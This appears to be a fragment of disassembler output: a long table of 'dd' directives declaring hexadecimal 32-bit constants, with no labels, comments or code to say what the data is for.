		dd 9D462D6Fh, 94A86BFFh, 760074D9h, 0B1AEDAA7h,	2EE707h
		dd 9E1A90F4h, 0FFE291ECh, 30A87951h, 0D98AFE94h, 187A7910h
		dd 48BC0078h, 0F4BEF951h, 0AC258431h, 0ED3C2BE5h, 5E646EACh
		dd 5BB48150h, 200622Eh,	21F1E65Fh, 0C05841A3h, 0DD8A850h
		dd 8A0994Fh, 0B12988Dh,	1A36800h, 0E5CA61BAh, 0AC9061A5h
		dd 0B20779D3h, 220CEE87h, 0F0E3F450h, 0FB9B3D9Ch, 99600B05h
		dd 3B94342Ah, 5612368h,	0C8D3DDF6h, 0BA010D00h,	55C32AADh
		dd 8DD0A53Ah, 9B21706h,	4AD88131h, 4BF42061h, 40F0C125h
		dd 6E4D4090h, 0E2D28850h, 307BF2ECh, 2900EC0Dh,	8902495Dh
		dd 5E920FDDh, 1168001Dh, 0ED078627h, 3B48D200h,	3F52EE82h
		dd 0B0634CF0h, 8D076090h, 0D034FADAh, 6408B5Eh,	0E25C2E01h
		dd 0B045D871h, 0B47C122Ah, 0DA1F7AACh, 46C09E7Dh, 16C07CE3h
		dd 0FD0F00C1h, 3845BB2Eh, 609E4ECBh, 0D4DC3004h, 31CE4C8h
		dd 8197B7E3h, 16A8DA22h, 0F6030C05h, 682FFFAEh,	905BC119h
		dd 590DE8DFh, 0A9BD3EDAh, 2D985828h, 446238D8h,	4DC887Eh
		dd 0A9CCB674h, 3274A090h, 6F82A318h, 0C6CDEA8h,	625AC3C0h
		dd 0FC488810h, 1D1723ECh, 380BC410h, 20A862EEh,	5094086Eh
		dd 1C0080F0h, 0CBF91311h, 0F7CF7Fh, 0CD5C9B25h,	0A3A61B9Eh
		dd 0F6129702h, 7CB64B5Bh, 6017ADACh, 6E80A591h,	0D49FE784h
		dd 9C58500h, 0CCACA6ABh, 0D1D4B9AFh, 51F4199Fh,	9E5B03D5h
		dd 0F1CD52D3h, 0F16CF1EDh, 10D1D269h, 2E186279h, 0F44FF800h
		dd 0D549C88Fh, 0E3372DB5h, 296B884h, 0FCDBAACEh, 0D0AD9734h
		dd 683413C0h, 0F9653900h, 0F23A9116h, 9457B883h, 9E465EA4h
		dd 0D9FBFD00h, 20AFAAE0h, 0B607820Eh, 5858EBA3h, 18F150E8h
		dd 306049D8h, 9F978B00h, 0F2573E2Ch, 3001D107h,	1F00CB93h
		dd 0BEA8216Bh, 4009048Ch, 803CACDEh, 61A135A2h,	7870010h
		dd 0F4FBA60h, 0B70BB0A6h, 5BF6D10Bh, 0B04C70A0h, 0B30BDA01h
		dd 887CB8ECh, 43D1C1FDh, 3800D445h, 0BE40EB8Fh,	602705AAh
		dd 0B8F4D361h, 0ED06256Ch, 0DE496060h, 0F82F61D1h, 16437A4h
		dd 0F9F88CCEh, 3B08C1F5h, 7A9F040Bh, 0C0FCB0BCh, 0AD326C71h
		dd 2849E15Eh, 0AF2E70FCh, 467400A9h, 0C04864h, 5F45D507h
		dd 0C24D8004h, 7EB7F378h, 465E2056h, 0A0750097h, 64C88642h
		dd 44EF09D1h, 74720EA6h, 586810BDh, 715400E8h, 1699C5CBh
		dd 4601A2E2h, 353DB43Ch, 82D0697h, 0C10209ACh, 332561A9h
		dd 0E820088h, 0D70C1667h, 0E04FB7F8h, 5B970234h, 6BA5DC33h
		dd 7140986Fh, 0D6738E1Fh, 0F2B0B281h, 923C3065h, 0A2A0D500h
		dd 4FA72E97h, 6FF82DE7h, 0AE249400h, 204B315Bh,	2B3BCC89h
		dd 13E2350h, 3A387FBCh,	8326E432h, 0E9401502h, 52AE6D2Ah
		dd 599B39FCh, 7980D239h, 0A5CAF45Ah, 2A4A0F5Bh,	1178A4h
		dd 7AD5AD40h, 7094645Ch, 8843A4B8h, 71E2D452h, 0CA3FB033h
		dd 4BAA00B5h, 0B7B3C15Eh, 0B0BEAEDh, 31379791h,	0B8C1E6B0h
		dd 4440B7Eh, 7C79BC71h,	0B03BAE18h, 8B7B02FBh, 0A055D30Eh
		dd 0B36F31A4h, 7C291F62h, 3DFC0FCh, 0DA0F5990h,	0B8C1E15Ah
		dd 6E3AFA46h, 0B4830044h, 620F3C1Fh, 3DC99CBh, 6C4018F5h
		dd 632AD009h, 77F41074h, 0AEA38869h, 1ABC654Ch,	0F13944ADh
		dd 184979E0h, 41003E4h,	7ABF3A3h, 269673B8h, 58E6A412h
		dd 400C80B4h, 0AA28324Ch, 0B600C409h, 0D5EEE776h, 9C385B96h
		dd 8DF941DCh, 30B200A2h, 0C86160E3h, 79A6CA64h,	91A4979Fh
		dd 0F558804Ah, 3CAB7690h, 5D85B877h, 8EACCC0Ch,	0C39F8864h
		dd 0D4B03206h, 2894B0A9h, 8A0EB12h, 1D225A6h, 7D11009Fh
		dd 32D8809Eh, 0D7C3B547h, 2871C21Ch, 7CE3AC92h,	953062B2h
		dd 0ACE45023h, 6A9E402Dh, 41540110h, 0CA80F339h, 6D97E804h
		dd 66E3CEE1h, 2A0E09ACh, 0DB94215Dh, 2E20DF03h,	7BC4A2ADh
		dd 14750ECh, 6D162A00h,	759CC792h, 4F105DAh, 0C3A879F9h
		dd 502D5FB9h, 60DC4D52h, 8EB2902Ch, 80F6D81Fh, 0C4045E03h
		dd 0FAC90865h, 11029995h, 0D1B460F6h, 12770724h, 0A01F96Fh
		dd 43FCD7B1h, 63F1EBD2h, 0E8566EAAh, 81534C08h,	8C8429D3h
		dd 8B2A1Ah, 0A9C771C8h,	9A63EBB0h, 0E09C00EEh, 51818292h
		dd 86049FE7h, 0A129DB4Fh, 0FC58C0E2h, 278C61B8h, 0F4C0EE1Fh
		dd 22849B55h, 0BF25538Ch, 0F8441Dh, 0C36307FDh,	0CEC2763Dh
		dd 86593E00h, 0C6C73219h, 564E09E4h, 2CF137D4h,	8500C0A6h
		dd 19F63108h, 0CDF12A1h, 6D00AA9Ah, 590B35F5h, 0AA09041Ah
		dd 0AAC57768h, 0CA12146Eh, 8BD413B3h, 0C056C8D4h, 6ECB8E9h
		dd 0AB3E7F04h, 74CEF4BAh, 96C048C8h, 4DC60Fh, 49F3C2C3h
		dd 5B343D44h, 7B303E49h, 7AF3520h, 8F0230D8h, 0D262C193h
		dd 4C3A2AACh, 8F004D23h, 0C663D3C9h, 45330029h,	0AA03D6B7h
		dd 642A0966h, 0D73EB041h, 0CB4BC4h, 0F7C056C8h,	16DA8463h
		dd 13A96492h, 2C9CD28Ah, 68588C73h, 402900BDh, 0B6728651h
		dd 21C043AEh, 2325B321h, 4E4A1C0Fh, 41C4C102h, 0CCCB127Bh
		dd 2A06A15Ch, 0A2F616Ah, 897BD80h, 0DF817B91h, 0D582AA70h
		dd 0DC8CE9BDh, 85B5CDD8h, 7C820E20h, 0D92F20B6h, 0F029F218h
		dd 45D9D093h, 0D6091118h, 0A58DA591h, 0C4B6DFACh, 0A3CC7CE0h
		dd 3B316B1Fh, 4120CF6Fh, 0F47A3972h, 0FA586AC9h, 26B30035h
		dd 771B29A2h, 80D82E4Ah, 18142D0Dh, 848F0C29h, 3C830F11h
		dd 3BD256AFh, 2D113F31h, 0A59EC04h, 4EBD9805h, 50A90D61h
		dd 0AC09C282h, 1D6540DBh, 0B30640A0h, 13827070h, 5168C062h
		dd 18E6008Eh, 8F5AA7C4h, 54C1689Bh, 0F91D34F1h,	0B0D8F466h
		dd 0B480558Ah, 0B3E75A7Dh, 3FB986F1h, 28D97C04h, 5A80BB54h
		dd 65A42105h, 0F8DE008Fh, 0B4905062h, 0F03F2569h, 0E9D870A4h
		dd 0C03C28h, 85515765h,	0C50CD4B2h, 0ACD36149h,	0FD94CF0Ch
		dd 0A2C2EE9Eh, 9053D2A9h, 6995B6E8h, 44CD5972h,	0ABF2D8C2h
		dd 0A5DCC62Ch, 607DC4C8h, 0A84768Dh, 0D99FBDDEh, 4546D6CCh
		dd 73E7C900h, 4E71B66Bh, 0BC8C0758h, 84028C64h,	933EF01Bh
		dd 507C8095h, 1A3B7E8h,	61FB3B9h, 0EF7A0B68h, 2F3494A8h
		dd 369A4401h, 0BBDE51A9h, 23002F2Fh, 0B4CE0461h, 0E6CF4D3h
		dd 3C61E3Ah, 0C2CBFEDAh, 6798F814h, 3DD80402h, 34F0424h
		dd 0BCA95E10h, 0C101A4A8h
		dd 2F5B53ADh, 0A38C5427h, 35152764h, 1DF98014h,	523E2E1Eh
		dd 9625ABF2h, 0D9DC0159h, 1053A7Ch, 4EF98F7Ch, 3150F50Fh
		dd 16CF5A4h, 0BC3C1AADh, 0EB345509h, 4FB960A2h,	5644F8C7h
		dd 0F36E5A60h, 68245BB0h, 0B109A0EAh, 8114C8A5h, 0D1D30FC3h
		dd 4CA24DF6h, 0B32344AFh, 86E298EAh, 0E1940F64h, 14EF4A6Fh
		dd 0EDEB43E0h, 1125B06h, 0CCAD2B7Fh, 9B4B79ACh,	8C20B020h
		dd 93D48061h, 4854D770h, 8700A6D8h, 4DD55170h, 4F57F8D8h
		dd 0A27C6545h, 309CB234h, 0E20075E5h, 0A318F295h, 974C290Bh
		dd 81878830h, 946B2B4Eh, 3A802C58h, 0C1846F6h, 0AA841A0Ah
		dd 80124DAh, 0FEEB42ABh, 5C7D3ECh, 4E3502A6h, 0E048B673h
		dd 78E78EF2h, 49C24B63h, 6402C3A0h, 0F400ABADh,	0B460E420h
		dd 0ECB712ECh, 0BC341334h, 50CB54C4h, 44C03E88h, 3F3A5ECh
		dd 0AA09C47Ch, 0ABA0A017h, 892D065Bh, 0C068CDFCh, 0C27863B5h
		dd 0D29A0C04h, 9C886075h, 0E44541B4h, 0D8982476h, 9A137904h
		dd 44812AC0h, 0D831A63Ah, 4AC8680Bh, 0B1FB72C1h, 5914C4h
		dd 0D6FDE7B7h, 0B0E3C23Fh, 0F1BE0C02h, 76729CFCh, 7138F658h
		dd 0BDA10F0Eh, 49B100E8h, 5E40CF8h, 61EED72Fh, 7B9CBDD5h
		dd 0C115E39h, 0F946DCF1h, 128490A7h, 0A86EC290h, 83080A08h
		dd 465C78DDh, 0F75E0048h, 0CA8CCC90h, 64029F1Eh, 885EA46Bh
		dd 2C1000DCh, 0F8F5D603h, 0E09448E3h, 0AA41DA04h, 0D41D2309h
		dd 0D8809711h, 2510C267h, 0D78BE805h, 4A4D477h,	985F1C2Eh
		dd 0EBA14026h, 529642ACh, 3E819203h, 4E6808F4h,	93509B28h
		dd 980A1893h, 4CB3F2EAh, 0E904D886h, 0ED2661C2h, 0F912029Ch
		dd 72C585ADh, 5EB4BC7Ch, 9500A146h, 0C1CA8529h,	0E09059A8h
		dd 0F8A73A26h, 591C5B25h, 209621D7h, 8D40E1F4h,	61E80B36h
		dd 0B0A53E28h, 9BE02094h, 0E00FC9Dh, 1A6FF57h, 737197F9h
		dd 0C9B200F2h, 7A689151h, 8B7CFC3Dh, 4E04A0B2h,	2B802713h
		dd 0FDAC6CE9h, 3EDC9600h, 48F8DF14h, 0C04054Ah,	9282A28Ah
		dd 0CCE48680h, 3D017A00h, 75AC91Ah, 0FC822530h,	2B04FC41h
		dd 343ABC12h, 8200A323h, 7DFB7CDAh, 1C919FBAh, 0BC0C783Bh
		dd 0E2258C60h, 417C4894h, 33B90936h, 0EC0E6446h, 0E07AEC05h
		dd 94BC9464h, 48465Eh, 0D0F38362h, 124B142h, 0FC2F57FFh
		dd 6D8FA89Fh, 0A188C848h, 189FD18Ch, 0A42639C2h, 8E4446AEh
		dd 1851BB66h, 0D470A64Fh, 0BED7168Eh, 0E3D409D5h, 9053408Bh
		dd 30AE853h, 20009516h,	5A3330B3h, 0F07694A0h, 0D41679FCh
		dd 60F01D91h, 7C1D9FE6h, 0EF804211h, 10C95E99h,	40FC0295h
		dd 8A9054ABh, 8A9C737Eh, 0A4847FF1h, 2E01DE54h,	0DE4FD9BEh
		dd 22204A74h, 0A9E667A6h, 88F2C566h, 0AC0951CCh, 51BA79AAh
		dd 7C6D2FD4h, 989DB4C0h, 0D8B23A20h, 42E80B8Bh,	0ED973466h
		dd 7793C73Ch, 3B7B0011h, 2B7CF622h, 0CCD70903h,	92FD91EDh
		dd 90CC5E75h, 80A2D67Fh, 0A3056B2h, 0CD2F0274h,	9CC1CBD8h
		dd 0AB3A90A3h, 87E3CA2h, 0CE2F5B06h, 6097B7A1h,	8B803F91h
		dd 7F398417h, 0D8235A26h, 94FE100Ah, 94203E24h,	0A800E67Eh
		dd 5738340Ah, 25D261FBh, 1447BAFEh, 5C604864h, 1E0086D2h
		dd 96D17D5Eh, 2028D917h, 819D0B37h, 0F72A537Ch,	0ED017432h
		dd 573181C2h, 3AB4E951h, 0CE80ACDBh, 624F4CB0h,	0ECFA9E02h
		dd 82B5803Ch, 19AD75DCh, 86799FCFh, 87504130h, 0B048023Eh
		dd 2DF3EB22h, 1060347Ch, 1238940Dh, 0D0D4AECFh,	436B3B8h
		dd 0E95A2700h, 23443517h, 180AFEA3h, 78590DF3h,	45868B89h
		dd 986E6B13h, 37269700h, 4CD2A332h, 0D90801B5h,	1C218FB4h
		dd 3FB62420h, 0DA89BCB3h, 801D6FAEh, 78804D11h,	0C8BC805Eh
		dd 0F8009B7Ah, 0A6A5E7C4h, 0B543BFEAh, 6699D418h, 0F47F7000h
		dd 273C9A1Eh, 0DE5C0453h, 0F21D6488h, 0EDB2D40h, 89A1E7CBh
		dd 0ED4F30B0h, 0D3100DAh, 29DB4608h, 899FB875h,	58E07B3Ch
		dd 51016570h, 68AD7FE7h, 78DE296Eh, 0F91B0290h,	40D1227Ch
		dd 38083470h, 2467DD3h,	5CB4E24Fh, 57184874h, 6256B1h
		dd 5BC40A32h, 0BCF4A495h, 81584307h, 7AE210CCh,	47BC9AC0h
		dd 63A14498h, 0CC65F8C0h, 6D2832A9h, 0A476EE48h, 0F4A96693h
		dd 0C33ECCB9h, 0F20FB90Bh, 0B2CCE011h, 9718947Ch, 0F364A666h
		dd 0DF9EF058h, 81099FEh, 0F501BB0Bh, 8FA95F30h,	3C20046Eh
		dd 5C3BAE67h, 0B0285723h, 1440B800h, 727BA522h,	44502CA9h
		dd 0A303125Ch, 0AC5510E8h, 5028F404h, 0B470013Fh, 7840D80Ch
		dd 887392h, 3E56E220h, 50F610BCh, 84051490h, 0C206A5F2h
		dd 80D3E432h, 0E7A7430h, 0BC5500D7h, 78861C23h,	675EF8F5h
		dd 35C188C4h, 0ECE4376Dh, 5E189630h, 0BC009746h, 782C25C1h
		dd 86020453h, 55DB34CBh, 0D54C402Eh, 0A1F2016Dh, 0AE6A60EEh
		dd 49660045h, 0DB0D18F5h, 8A415EACh, 8A70F426h,	258E9B00h
		dd 4BF8D731h, 98C88273h, 0E277D040h, 0EC9A362Ch, 0CEE000DEh
		dd 0C9CF72A8h, 0FC49AA99h, 2805D3F4h, 68FCEBF6h, 33B8DD80h
		dd 820F71EAh, 0C7EF477Bh, 45D038F7h, 2DFD3151h,	249D2D3Dh
		dd 0D180A811h, 0AC8FD7Eh, 0D96FCF04h, 0B8B8A799h, 0DA135588h
		dd 2E5A2831h, 92821C78h, 0DB049B8Dh, 1D2D8CECh,	0F489A011h
		dd 0E7002B3Bh, 2F733869h, 12E467A6h, 9495E996h,	302F8770h
		dd 2F725626h, 0B02FDC4Bh, 0AC1DA823h, 0E06EE302h, 643E62B8h
		dd 0B8155950h, 0E30058B8h, 6D4999C4h, 80541A5Bh, 98804D90h
		dd 316B60A6h, 762BF8E7h, 19B21091h, 5E04766Ch, 0E300A146h
		dd 0D7077FA3h, 8E5C55B9h, 4C3D2258h, 70107006h,	0DB60135Ch
		dd 0F2C31032h, 0AFC8A080h, 0FCFF580Bh, 60A0275Ah, 4B30C2DEh
		dd 33BD58h, 0C18D539Eh,	1C625B32h, 0DCB18CB9h, 3DDC442Ch
		dd 0FD9C8475h, 0E9F4B990h, 3A80909h, 548CC06Fh,	664C74B8h
		dd 0E1C980CCh, 0EABE02F5h, 1F489E28h, 9B8B0240h, 98544324h
		dd 58818826h, 0D39A2FFFh, 9ED8407Fh, 0B4067705h, 400A3C12h
		dd 68A6A065h, 0E31238E0h, 77FF5B02h, 0DC8F6221h, 0E040F48h
		dd 5450076Bh, 8CD452h, 0F36D1CBEh, 0AA85CBh, 71999136h
		dd 63164934h, 0EDBF1925h, 72E3C0D4h, 8B011E9Fh,	82D4183Eh
		dd 0B0F05127h, 0E9A62564h, 0B46A0092h, 0D0520052h, 0E0E6D6DCh
		dd 9FD4E3A0h, 56321817h, 71317C1Fh, 29BCC061h, 0BC80B07Ch
		dd 56467E38h, 0A78D4700h, 0ED09CD77h, 922FC216h, 21168422h
		dd 707DFE5Bh, 1D488B0Ch, 24DB5A10h, 79E1A381h, 89EF348Ah
		dd 0CBF55A07h, 6BA01849h, 0E65BA83h, 0C1128D37h, 63EAD783h
		dd 0DD771100h, 0DBDE5D47h, 0D60609A8h, 0DE0CA90Bh, 5029921h
		dd 5657FD48h, 0A5405D9Dh, 7933EC5Fh, 0A8EB2065h, 432A85h
		dd 49B99C4Ah, 0D456AB6h, 9DEF5100h, 588CED19h, 3034603Fh
		dd 0C5EB1757h, 0F8CEBC01h, 0C8B66326h, 211C0898h, 0C500D309h
		dd 2102E789h, 1D602D20h, 0DE37EBB9h, 694841B8h,	0BE4B4008h
		dd 13FF0331h, 3896FA9h,	185CAD11h, 83F81DDDh, 4766064Bh
		dd 21AF08h, 5E1864C7h, 7A9317F8h, 785A881Dh, 0C81FD50Ch
		dd 0FA2B00D6h, 65E6C095h, 86064D1h, 0E5B58D38h,	4A7C03B9h
		dd 3F417A88h, 9FEB301Fh, 37AF5A08h, 0F0C038F0h,	0E9CEBBC5h
		dd 0F4881B18h, 35C501D7h, 40F905E9h, 0A9AF203Eh, 0EBFD148h
		dd 0A01CE57h, 6C1EE477h, 30636032h, 0B114C5EEh,	0E0A8E0CEh
		dd 0C5D5F6h, 6F24017h, 9223A3EFh, 0E57A830Ch, 794BC02Fh
		dd 98D33045h, 0EA5CE4C8h
		dd 0EC195789h, 0CE70BDC5h, 19222743h, 0C5D20A00h, 0EB401564h
		dd 0F209260h, 0F48FF955h, 0C0A4FA00h, 1E0A444Fh, 0E44631B8h
		dd 4CB4BD07h, 0D34C0449h, 7147D160h, 11BBDE23h,	0D9A5007Bh
		dd 0C014F847h, 785000B7h, 67BA535Ah, 0F4A883B6h, 6501D0D7h
		dd 0BD5D82A5h, 0F0CB1E07h, 569831CCh, 5923A869h, 0B7C5EC01h
		dd 744810CEh, 0D4088818h, 0EC66C503h, 9189C2A7h, 0A440163Dh
		dd 3019A01Eh, 7ED16912h, 6C80571Fh, 0ACB30105h,	3A749F9Ch
		dd 0F8DCE89Bh, 95F51109h, 0CE1C00A5h, 0C1679449h, 0AE122D98h
		dd 0C21883BFh, 0EEFC9229h, 0D958B1h, 0BD325960h, 8B03EA74h
		dd 93892BD2h, 1A0830A2h, 74B54821h, 7CE75001h, 64EBF214h
		dd 0C2BDA050h, 28D21EB2h, 0C0D60F66h, 0C0C0D88Ah, 0DE6E47DCh
		dd 7422D346h, 48049800h, 0D7FB2BB3h, 0A8EA7721h, 3029CE90h
		dd 11C88328h, 994122E5h, 1B88B40Eh, 0D80F39C5h,	0EB0C1044h
		dd 3F204D7Fh, 0D20E89DFh, 87DE0205h, 34BCAF63h,	47C29D64h
		dd 31E3DE70h, 0DAA2107Ah, 186A0047h, 25E920C1h,	0E0B0C76Bh
		dd 2431CB0Ch, 19937884h, 0C89A4A1Dh, 40302487h,	598E0315h
		dd 57E78F0h, 0B104CCA6h, 0B28BEE74h, 54251662h,	0EAB515C1h
		dd 9507CC32h, 4060D6E2h, 0BCFA2005h, 0B01FD11Fh, 28121812h
		dd 40455004h, 56E60601h, 0C5388036h, 6B7DBA71h,	879D135Ch
		dd 0D4F4320Bh, 1247D030h, 38B3DE72h, 0D800A4A8h, 6BEF8C47h
		dd 5DC860Ch, 41FBF56Ch,	9CB4404Ah, 79B9E452h, 0A8D00738h
		dd 8480B881h, 0D9C61E09h, 0D699FAEBh, 0B0BB18B0h, 18A18844h
		dd 0DD505256h, 3447DF30h, 4898DE5Bh, 97806F50h,	85AC4807h
		dd 0EB5A07B0h, 0C98CE841h, 1A91889Dh, 7E529E81h, 71B9800Ch
		dd 1B7D6509h, 0F2DF00D9h, 0EC06B75Fh, 1D28ED9Dh, 0D602FCB6h
		dd 0BDE5C9EAh, 47DC9A5Ah, 601D6420h, 0C67894h, 0E46B22A8h
		dd 7D69D668h, 91EDC305h, 9C1319B1h, 0C0B56C08h,	1DD11870h
		dd 60827721h, 0DE1858C3h, 0B0A3C414h, 0D6300FCBh, 93AFA039h
		dd 322605BCh, 0C088315Ch, 46C004EDh, 61757ADEh,	9EE3A027h
		dd 0F148663Bh, 80D34D28h, 1CB4B15Dh, 0D87AE039h, 3CD05935h
		dd 0C6732009h, 67300462h, 0D810B454h, 74BCC064h, 99DA8BEBh
		dd 0B449C080h, 0DD03AD74h, 9384D9C9h, 9A840124h, 3C1330BDh
		dd 15F02066h, 488D5F7h,	803314C9h, 0B8301DA2h, 5CE90183h
		dd 222E1311h, 1E1422D6h, 99B12140h, 60749BEBh, 36653EE0h
		dd 5EC0C126h, 0E0077346h, 8AF1C281h, 8363049Ch,	0DEFC8BC0h
		dd 76920263h, 0B08FF76Bh, 0AE6065C8h, 468BED74h, 21822AAh
		dd 6974A653h, 9860FFBEh, 218082C8h, 915F7015h, 18AE7960h
		dd 793D3930h, 8D845B81h, 4191F215h, 0A6827DCCh,	0C908B429h
		dd 74E00213h, 0F5202364h, 0F3C897h, 459EDA77h, 0BBE4DFDEh
		dd 0CAF3F0Ch, 40BA50CCh, 451FD1A5h, 86BB62EBh, 0B5A1ED8Bh
		dd 0C06F7518h, 1B2F7C69h, 92007651h, 918CA443h,	455CCD3h
		dd 73E9B66Eh, 88A48EF5h, 4BBEC072h, 0D9FEAF71h,	0B99BE301h
		dd 6D552C54h, 2EC8C04Bh, 0D7E4FAC0h, 0EE6C011Ah, 0EB2FA827h
		dd 84718366h, 98624C69h, 3D6F33B7h, 2307182Bh, 0C0305F2Ah
		dd 0E105E9BDh, 17074A90h, 0D707A963h, 28415E66h, 3BE8BF0h
		dd 341B9B50h, 0A4C4266Ch, 0F8006488h, 0BC80C3EFh, 21D4DDh
		dd 51FE986h, 9DDCDFB1h,	0FEC44804h, 498B413h, 0D0180871h
		dd 0C4708F1Dh, 43180759h, 3203A530h, 0B864EB1Bh, 0FACDA800h
		dd 322E64ECh, 587DB09Ch, 0CA16F083h, 8C9041F9h,	204265B8h
		dd 9A165C10h, 9C402345h, 620CC7C9h, 3A074B6Dh, 0B1231Ch
		dd 9EF8DBF5h, 0DA000BCBh, 41FFE14h, 1F4AE745h, 3B5AFFA3h
		dd 748CC926h, 0B9001E46h, 0E2FC9EABh, 93519B96h, 5AB6F47Ch
		dd 7104D700h, 0E24EFC52h, 6C7304D0h, 0B31491B4h, 3093B284h
		dd 0ED00E5D3h, 0DB334055h, 2387EB6h, 0E643C1FCh, 0D8C764BCh
		dd 28607AE4h, 0F200D944h, 0A0321485h, 0EA2C9D5Bh, 8DDCA878h
		dd 6294A123h, 0AE840119h, 8B9044CEh, 0DCF700B4h, 4D586CC5h
		dd 0A1A40FBCh, 0AAA43E01h, 76E08092h, 4940764h,	0C73465Eh
		dd 694541D8h, 0C2D403E3h, 215B026Ch, 0E17201E8h, 0A81F2477h
		dd 0AC864F33h, 74161EAh, 0BDCC7873h, 622300C8h,	0BE0906E1h
		dd 60160DB7h, 24E2D174h, 849038F9h, 0A2EE5F8Ch,	302FF21Ch
		dd 6E00E632h, 97B17F19h, 15DC3EAFh, 0EC81CF67h,	11684B03h
		dd 2FE80AEBh, 75D0540h,	5FBB19BCh, 65D00C08h, 1E43ADAh
		dd 15038F3Ch, 7C684A0Ah, 7481ABCBh, 100339h, 4A323621h
		dd 6734CC77h, 64F5021Fh, 0EE715A00h, 75B3B87h, 0F4CE09FFh
		dd 1D0C849Bh, 68F3B8C0h, 22436AFh, 831C702Ah, 1A008E9Fh
		dd 6FDD5E8Fh, 44006061h, 0FC4EBFF1h, 120DA06h, 6008CAE4h
		dd 0D9222146h, 0AE00FFBFh, 0A87E3518h, 3E1115Fh, 0E697E577h
		dd 99C6086Dh, 7BDD6C18h, 0BD5939h, 0B4F05AADh, 0F293C6CCh
		dd 91B21B00h, 8B8962E9h, 67AA0021h, 0F3026B59h,	1B3B8AA3h
		dd 0F9416381h, 2B93A079h, 3E00698h, 691C800Ah, 0A6814C00h
		dd 0FF9941BEh, 0FA7907C0h, 9F0CB901h, 7FCFC3A0h, 1361AFA0h
		dd 0FD30CCA8h, 831B3886h, 7B1D6152h, 9942662Ch,	0A825E585h
		dd 0D811D0B8h, 564A829Eh, 0F31317Ch, 4A883413h,	0E000B820h
		dd 6A732A87h, 60F7B223h, 0A57ED84Fh, 0C63D254Ch, 0C18781B8h
		dd 0FFE656F9h, 5C0C9083h, 7B90F7DFh, 4E791562h,	9203B601h
		dd 178598FCh, 6C8F40E6h, 0F3F73FF6h, 0BE52D0E1h, 6DA8EC3Dh
		dd 8C9D60C3h, 0A910909h, 42283FCh, 0D040054Dh, 0BB148E10h
		dd 18A49C77h, 6D2085B5h, 0A8265404h, 7883330Bh,	5DC21B21h
		dd 0F013104Ch, 8E154FBFh, 804A8810h, 19BFD823h,	6F005002h
		dd 46A02E6Eh, 0F783A7FAh, 0D01B081h, 808B9D52h,	0B66BAF99h
		dd 7891FFDh, 41087920h,	21974621h, 0B653C609h, 352F00CAh
		dd 61839DF9h, 0A7F6E102h, 0D8598143h, 0BBDFB025h, 8DFFB881h
		dd 4474B792h, 63E41FBCh, 554A0D01h, 0E18397Ch, 4AC43589h
		dd 3C27171h, 0B4F81150h, 0C0C18E1Fh, 0F4FFE48Fh, 5ED5210Eh
		dd 9F2C7465h, 7C6B4941h, 130CAAE9h, 74388h, 8B1D2E4Ah
		dd 16E797E6h, 2C374D01h, 17624BE2h, 0DC034021h,	884FFCF9h
		dd 0C858D746h, 8922DC18h, 7C54E318h, 9F840095h,	3463D598h
		dd 40C101C6h, 8AB5F262h, 0BFF84884h, 23BC100Eh,	0B6570046h
		dd 21692009h, 0CAB24486h, 86B65F00h, 0D55CF2BFh, 25C50F8Ch
		dd 0D4C4BFCh, 0F449CB68h, 9E0A005Ch, 519B9A74h,	1CE44971h
		dd 0EC028C76h, 2FC5BBFh, 10401921h, 0BFD437h, 2BE8A856h
		dd 0B72C788Dh, 21C0E302h, 805A7BB2h, 0D9348680h, 94E09562h
		dd 1700241Bh, 0D4EF022h, 0A811E5DFh, 748A5B4h, 0C184603Ah
		dd 9C0A004Ah, 5004429h,	0F233326Ch, 7C9077D9h, 84A04447h
		dd 5E00817Fh, 0A47443E0h, 64FA60ECh, 8E64A127h,	0C096885Ch
		dd 931163E2h, 928D8B5h,	297FA01Fh, 85EB5801h, 70B1A423h
		dd 1EEA3305h, 0C087AC04h, 3052CCC2h, 5A11BFEDh,	4D88FAFCh
		dd 0BFD53680h, 7525DA92h, 0A19C3099h, 2379F289h, 6E27AA00h
		dd 87B5EBA3h, 929FE4B3h, 8DE40094h, 0D9BC58CAh,	884C99F7h
		dd 1C7722BCh, 73220463h, 0B1F3B399h, 33FA3805h,	0C041FAEh
		dd 1905AD47h, 0C4C881Eh, 8AB9760Fh, 581C1666h, 4D2C0022h
		dd 4085D6A2h, 8D698B59h, 4C1C9009h, 0FCA20045h,	9DA4FE55h
		dd 51C5BD80h, 6C1EFA0Ah
		dd 0DF3103D8h, 0B3B13CEEh, 4BEFDA03h, 9864493Dh, 4E603178h
		dd 58FAF1A2h, 4F17448Ch, 4EA24600h, 0BAC5A8CEh,	3B70C9Bh
		dd 0AE210667h, 7D6743Fh, 0DB1CFE8Eh, 43C22145h,	0EDE88539h
		dd 6CE39C60h, 80CB39D0h, 0F403B414h, 12ECF84Ch,	0E70B0F8Ch
		dd 0DD00514Fh, 7E5478F9h, 831C30CEh, 0E0D36E2h,	34B29EA0h
		dd 7FC58D83h, 194C3EE3h, 0A0AC2A95h, 0B9FDF704h, 3082C1CCh
		dd 0BFF2305Fh, 46FC593Ah, 21014822h, 8CC7BFDAh,	0B9DDDB4Eh
		dd 9BE438C1h, 0F5F20292h, 440D025Dh, 5502904Ch,	59200BB6h
		dd 10B01921h, 0B65DC8h,	0B35E65A6h, 0B797DDA1h,	21859B30h
		dd 1C15946Ch, 24F841D6h, 0F64B6194h, 5F04819h, 0A25A1F8Ch
		dd 887851EDh, 52438016h, 0C8CB8AA2h, 79029090h,	9A200619h
		dd 5BB0682Bh, 0D2341B42h, 83916008h, 6C782488h,	7E631801h
		dd 0FEE5D894h, 13FFA850h, 3D850056h, 1BAB5724h,	67141F3Ah
		dd 804C06F5h, 85ECA25Bh, 15448C70h, 0A2532642h,	0A07EC054h
		dd 98B13927h, 19D11C29h, 55F63C18h, 0F649F01h, 0FFC5D4A5h
		dd 0A02CF7DCh, 54FD0A2Ch, 3A20B884h, 845027CAh,	0FF70288h
		dd 8077DDE9h, 0BA00E844h, 0A00DD4C5h, 5283A581h, 10B27466h
		dd 289B8638h, 0FAACA703h, 0EE9704E4h, 88809E34h, 3377457Ch
		dd 0A8391864h, 212488C1h, 1C165BCCh, 0C5661D9Fh, 480D4F3Dh
		dd 4CC033B8h, 4685EFA2h, 2122248h, 47A2444Dh, 20C105E7h
		dd 8E4600Bh, 81DFE305h,	0B8016378h, 0C3930C74h,	8B1BA992h
		dd 0CB4D8894h, 0EB16805Dh, 0E2BEF86h, 85959A8Ch, 0C2C3BB23h
		dd 5B5E5809h, 91549767h, 949C8715h, 933824E0h, 0E7A8147Fh
		dd 2205EC28h, 1425FB2h,	0BBF7FAE4h, 53F84810h, 6A00D093h
